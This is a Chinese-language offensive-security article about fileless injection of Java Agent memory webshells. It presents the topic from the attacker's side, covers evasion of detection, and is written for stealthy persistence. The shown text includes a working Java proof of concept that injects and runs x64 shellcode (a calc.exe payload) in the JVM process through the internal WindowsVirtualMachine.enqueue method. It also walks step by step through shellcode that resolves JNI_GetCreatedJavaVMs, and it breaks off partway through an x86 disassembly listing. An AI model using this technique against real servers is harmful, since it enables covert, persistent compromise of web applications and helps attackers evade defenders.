论如何优雅的注入Java Agent内存马

• • 回顾

• • 优雅的构造JPLISAgent

  • • Windows平台

  • • Linux平台

  • • 获取JVMTIEnv指针

  • • 组装JPLISAgent

• • 动态修改类

  • • Windows平台

  • • Linux平台

• • 植入内存马

• • 后记

• • 参考

回顾

• • 2018年，《利用“进程注入”实现无文件复活 WebShell》一文首次提出memShell（内存马）概念，利用Java Agent技术向JVM内存中植入webshell，并在github上发布memShell项目。项目中对内存马的植入过程比较繁琐，需要三个步骤：

  1. 1. 上传inject.jar到服务器用来枚举jvm并进行植入；

  2. 2. 上传agent.jar到服务器用来承载webshell功能；

  3. 3. 执行系统命令java -jar inject.jar。

• • 2020年，Behinder（冰蝎） v3.0版本更新中内置了Java内存马注入功能，此次更新利用self attach技术，将植入过程由上文中的3个步骤减少为2个步骤：

  1. 1. 上传agent.jar到服务器用来承载webshell功能；

  2. 2. 冰蝎服务端调用Java API将agent.jar植入自身进程完成注入。

• • 2021年，Behinder（冰蝎）v3.0 Beta 10版本更新中，实现了内存马防检测（我称他为Anti-Attach技术),可以避免在我们注入内存马之后其他人再注入内存马或者扫描内存马。

作为一个“强迫症患者”，我一直认为上述的植入过程都不够优雅。attacker追求的是微操、无痕，而Agent内存马的植入却要在目标磁盘上落地一个Jar包，这个操作太“脏”了。

当然，在此期间，很多优秀的安全研究者将目标转向了向目标容器中新增各种Java Web组件上，比如新增一个Filter、Servlet、Listener、Spring的Controller等等，这种方式需要引入一些额外的相互引用关系，容易被检测到。而且对目标容器环境有较强的依赖性，不同的组件、不同的容器或者不同的版本，注入方法可能都不一样，通用性较弱。

• • 2021年，《Java内存攻击技术漫谈》一文，提出了无文件agent植入技术，整个Agent注入的过程不需要在目标磁盘上落地文件，这勉强解决了“脏”的问题。但是该文中介绍的方法存在一个缺陷，那就是获取JPLISAgent的过程不够优雅和安静，会概率性的导致Java进程崩溃，这是不能忍的，于是就有了这篇文章。

优雅的构造JPLISAgent

在《Java内存攻击技术漫谈》一文中，我使用了特征字典+暴力内存搜索的方式来获取Native内存中的JVMTIEnv对象指针，由于ASLR的原因，在搜索过程中，很可能会将非指针数据作为指针来访问，从而触发内存访问异常，OS会直接接管这个异常并结束JVM进程。

如何才能精准的获取JVMTIEnv的指针呢？

获取JVMTIEnv指针

可以利用JNI_GetCreatedJavaVMs函数。游望之在《Linux下内存马进阶植入技术》一文中提到，JavaVM对象中存在一个名为GetEnv的成员函数，如下：

struct JavaVM_ {
    const struct JNIInvokeInterface_ *functions;
#ifdef __cplusplus    jint DestroyJavaVM() {
        return functions->DestroyJavaVM(this);
    }
    jint AttachCurrentThread(void **penv, void *args) {
        return functions->AttachCurrentThread(this, penv, args);
    }
    jint DetachCurrentThread() {
        return functions->DetachCurrentThread(this);
    }    jint GetEnv(void **penv, jint version) {
        return functions->GetEnv(this, penv, version);
    }
    jint AttachCurrentThreadAsDaemon(void **penv, void *args) {
        return functions->AttachCurrentThreadAsDaemon(this, penv, args);
    }
#endif
};

怎么样获得JavaVM对象呢？我相信如果是熟悉Java Native开发的同学可能对此并不陌生，在jvm.dll中存在一个名为JNI_GetCreatedJavaVMs的函数，该函数是JVM提供给Java Native开发人员用来在Native层获取VM对象的，因为是开放给开发者使用的，所以该函数是导出的。我们可以直接调用这个函数来获取JavaVM对象。

但是，怎么调用JNI_GetCreatedJavaVMs呢？该函数的规矩用法是需要先开发一个Java的dll动态链接库，然后在Java代码中加载这个dll库，然后再调用dll中的方法。当然这不是我们希望的，如果我们愿意去写个dll上传加载，那还不如直接上传个agent.jar来的方便。

有没有可能不用开发额外的dll文件或者so文件来调用JNI相关的函数呢？有。

Windows平台

在《Java内存攻击技术漫谈》一文中，我提出了一种可以在Windows平台下通过Java向指定进程植入并运行shellcode的方法，当目标进程PID为-1时，即可向自身进程植入并运行shellcode，Poc如下：

import java.lang.reflect.Method;public class RunShellCode   {
    public static void main(String[] args) throws Exception {
        System.loadLibrary("attach");        Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");
        for (Method m:cls.getDeclaredMethods())
        {
            if (m.getName().equals("enqueue"))
            {
                long hProcess=-1;
                byte shellcode[] = new byte[]   //pop calc.exe x64
                        {
                                (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                                (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                                (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                                (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                                (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                                (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                                (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                                (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                                (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                                (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                                (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                                (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                                (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                                (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                                (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                                (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                                (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                                (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                                (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                                (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                                (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                                (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                                (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                                (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                                (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                                (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                                (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                                (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                                (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                                (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                                (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                        };                String cmd="load";String pipeName="test";
                m.setAccessible(true);
                Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[]{}});
            }
        }
    }
}

为了避免目标没有WindowsVirtualMachine，自己写一个同名类：

package sun.tools.attach;
import java.io.IOException;public class WindowsVirtualMachine {
    static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object... args) throws IOException;
}

基于这个方法，我们可以写一段通用的shellcode来动态调用jvm.dll中的JNI_GetCreatedJavaVMs。

这段shellcode的主要工作流程是：

1. 1. 先获取到当前进程kernel32.dll的基址；

2. 2. 在kernel32.dll的输出表中，获取GetProcessAddress函数的地址；

3. 3. 调用GetProcessAddress获取LoadLibraryA函数的地址；

4. 4. 调用LoadLibraryA加载jvm.dll获取jvm.dll模块在当前进程中的基址；

5. 5. 调用GerProcAddress在jvm.dll中获取JNI_GetCreatedJavaVMs的地址；

6. 6. 调用JNI_GetCreatedJavaVMs；

7. 7. 还原现场，安全退出线程，优雅地离开，避免shellcode执行完后进程崩溃。

如下是x86版本的shellcode：

00830000 | 90                       | nop                                     |
00830001 | 90                       | nop                                     |
00830002 | 90                       | nop                                     |
00830003 | 33C9                     | xor ecx,ecx                             |
00830005 | 64:A1 30000000           | mov eax,dword ptr fs:[30]               |
0083000B | 8B40 0C                  | mov eax,dword ptr ds:[eax+C]            |
0083000E | 8B70 14                  | mov esi,dword ptr ds:[eax+14]           |
00830011 | AD                       | lodsd                                   |
00830012 | 96                       | xchg esi,eax                            |
00830013 | AD                       |